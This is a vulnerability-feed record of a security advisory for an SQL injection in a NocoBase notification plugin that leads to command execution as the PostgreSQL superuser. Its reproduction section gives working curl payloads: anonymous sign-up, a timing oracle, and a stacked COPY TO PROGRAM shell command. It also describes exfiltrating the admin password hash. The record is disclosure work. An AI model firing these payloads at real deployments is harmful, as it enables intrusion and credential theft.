{"id":"CVE-2026-52887","aliases":["GHSA-p849-8hwh-84j9"],"title":"NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE","summary":"NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE","severity":"critical","cvss":10,"cwe":["CWE-89"],"vendor":"nocobase","product":"@nocobase/plugin-notification-in-app-message","ecosystem":"npm","affected":["@nocobase/plugin-notification-in-app-message <= 2.0.60"],"patched":["@nocobase/plugin-notification-in-app-message 2.0.61"],"published":"2026-07-31","updated":"2026-07-31","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-p849-8hwh-84j9","references":[{"url":"https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52887"},{"url":"https://github.com/nocobase/nocobase/pull/9630"},{"url":"https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce"},{"url":"https://github.com/nocobase/nocobase/releases/tag/v2.0.61"},{"url":"https://github.com/advisories/GHSA-p849-8hwh-84j9"}],"tags":["ghsa","npm","exploit-available"],"epss":0.00892,"epssPercentile":0.57412,"ingestedAt":"2026-07-31T20:02:42.814Z","exploits":{"github":1,"githubRepos":["https://github.com/BiiTts/CVE-2026-52887-NocoBase-SQLi-RCE"],"checkedAt":"2026-09-21T15:29:24.915Z"},"exploitAvailable":true,"slug":"CVE-2026-52887","body":"## Overview\n\n## Summary\n\n`GET /api/myInAppChannels:list` accepts a structured `filter` query parameter. The handler for the `latestMsgReceiveTimestamp` field splices the `$lt` value directly into a `Sequelize.literal()` template string with no escape, type cast, or parameter binding. The action ACL is `loggedIn`, so any authenticated account reaches it. The default `auth-basic` authenticator ships `allowSignUp: true`, so the account is obtainable anonymously.\n\nThe injection is reachable with the URL parameter `filter[latestMsgReceiveTimestamp][$lt]=<expression>`. The `pg` driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads.\n\nThe shipped `docker-compose.yml` creates the DB role `nocobase` on a stock `postgres:16` image, which assigns the `rolsuper` attribute by default. `COPY ... TO PROGRAM '...'` therefore runs shell commands as `uid=999(postgres)` inside the database container.\n\nResult: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in.\n\n## Affected\n\nNocoBase server, `@nocobase/plugin-notification-in-app-message` `<=2.0.57`. Confirmed live-exploitable on the official `nocobase/nocobase:2.0.57` Docker image (HEAD `e35a2737d9df139cacecae0151c3326746e2339a`).\n\n`@nocobase/plugin-notification-in-app-message` is enabled by default in `@nocobase/preset-nocobase`. The default `auth-basic` ships `allowSignUp: true`. The shipped `docker/app-postgres/docker-compose.yml` uses `POSTGRES_USER=nocobase` against `postgres:16`, which makes the role a PostgreSQL superuser; `COPY ... TO PROGRAM` runs from this role.\n\n## Root cause\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63`: the `latestMsgReceiveTimestamp` filter is built as `Sequelize.literal(\\`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}\\`)`. The `$lt` value comes straight from the GET `filter` JSON; the template uses `${...}` interpolation with no `escape()`, `replacements`, or type cast.\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200`: `app.acl.allow('myInAppChannels', '*', 'loggedIn')` exposes every action on the resource to every authenticated role, including the seeded `member`.\n\n`packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295`: `allowSignUp: true` ships in the default `auth-basic` seed; `POST /api/auth:signUp` returns 200 with no admin involvement.\n\n`docker/app-postgres/docker-compose.yml:30`: `POSTGRES_USER: nocobase` against `postgres:16`. The bare `postgres:16` image creates the named role with `rolsuper=true` (live-verified: `SELECT rolsuper FROM pg_roles WHERE rolname='nocobase'` returns `true`). The `pg` driver simple-query accepts stacked statements.\n\n## Reproduction\n\nTested against `nocobase/nocobase:2.0.57` from the official Docker image with the default `app-postgres` compose. Attacker is an anonymously-signed-up `member`.\n\n1. Anonymous sign-up, then sign-in for a `member` JWT.\n\n```\ncurl -X POST -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"a\",\"password\":\"P!ssw0rd1\",\"confirm_password\":\"P!ssw0rd1\"}' \\\n  http://target:13000/api/auth:signUp?authenticator=basic\nTOKEN=$(curl -sX POST -H 'Content-Type: application/json' \\\n  -d '{\"account\":\"a\",\"password\":\"P!ssw0rd1\"}' \\\n  http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)\n```\n\n2. Time-based oracle confirms injection. Each request below takes ~5 seconds.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n  \"http://target:13000/api/myInAppChannels:list\" \\\n  --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a\"\n```\n\n3. Stacked-statement `COPY ... TO PROGRAM` runs shell as `uid=999(postgres)` inside the database container.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n  \"http://target:13000/api/myInAppChannels:list\" \\\n  --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --\"\ndocker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt\n# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)\n```\n\nLive-verified: sqlmap 1.10.3 against this endpoint reports `Type: boolean-based blind` (payload `0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH`), `Type: time-based blind`, `current user: nocobase`, `current user is DBA: True`. Admin password hash `ef6ea7f6...8ea12` exfiltrated via `COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWN_HASH.txt'`. Reproduced 2026-05-26 against HEAD `e35a2737`.\n\n## Impact\n\n- Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (`pg` driver simple-query).\n- Arbitrary row read of any collection, including `users.password` PBKDF2 hashes for the super-admin account.\n- Shell command execution as `uid=999(postgres)` inside the PostgreSQL container via `COPY ... TO PROGRAM`.\n- Anonymous reach in default deployments because `auth-basic` ships `allowSignUp: true`.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de)\n\n## Affected packages\n\n- `@nocobase/plugin-notification-in-app-message <= 2.0.60`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `@nocobase/plugin-notification-in-app-message 2.0.61`","depth":"abyssal","depthScore":67,"depthScoreParts":{"impact":55,"likelihood":0.2,"exploitation":12,"ransomware":0},"changes":[{"seq":5306,"id":"CVE-2026-52887","ts":1788887264261,"field":"exploit_available","old":"false","new":"true"},{"seq":4189,"id":"CVE-2026-52887","ts":1788886379042,"field":"exploit_available","old":"true","new":"false"},{"seq":2950,"id":"CVE-2026-52887","ts":1788883044190,"field":"exploit_available","old":"false","new":"true"},{"seq":1979,"id":"CVE-2026-52887","ts":1788882448355,"field":"exploit_available","old":"true","new":"false"},{"seq":1065,"id":"CVE-2026-52887","ts":1788881884004,"field":"exploit_available","old":"false","new":"true"}]}